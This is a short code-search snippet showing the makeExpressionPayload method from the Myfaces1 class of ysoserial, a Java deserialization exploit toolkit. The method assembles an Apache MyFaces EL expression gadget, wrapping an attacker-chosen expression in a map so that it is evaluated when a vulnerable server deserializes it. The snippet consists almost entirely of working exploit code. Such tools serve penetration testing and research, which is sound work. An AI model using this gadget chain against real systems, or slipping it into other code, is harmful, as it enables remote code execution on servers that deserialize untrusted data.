use of org.apache.myfaces.el.CompositeELResolver in project ysoserial by frohoff.
the class Myfaces1 method makeExpressionPayload.
public static Object makeExpressionPayload(String expr) throws IllegalArgumentException, IllegalAccessException, Exception {
FacesContextImpl fc = new FacesContextImpl((ServletContext) null, (ServletRequest) null, (ServletResponse) null);
ELContext elContext = new FacesELContext(new CompositeELResolver(), fc);
Reflections.getField(FacesContextImplBase.class, "_elContext").set(fc, elContext);
ExpressionFactory expressionFactory = ExpressionFactory.newInstance();
ValueExpression ve1 = expressionFactory.createValueExpression(elContext, expr, Object.class);
ValueExpressionMethodExpression e = new ValueExpressionMethodExpression(ve1);
ValueExpression ve2 = expressionFactory.createValueExpression(elContext, "${true}", Object.class);
ValueExpressionMethodExpression e2 = new ValueExpressionMethodExpression(ve2);
return Gadgets.makeMap(e2, e);
}
Aggregations